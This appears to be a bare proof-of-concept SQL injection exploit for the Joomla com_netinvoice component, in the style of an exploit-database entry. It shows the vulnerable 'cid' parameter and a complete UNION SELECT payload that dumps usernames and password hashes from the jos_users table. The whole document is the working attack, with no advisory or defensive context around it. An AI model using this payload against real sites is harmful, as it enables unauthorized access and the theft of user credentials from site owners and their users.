http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid={SQL}

http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 FROM jos_users--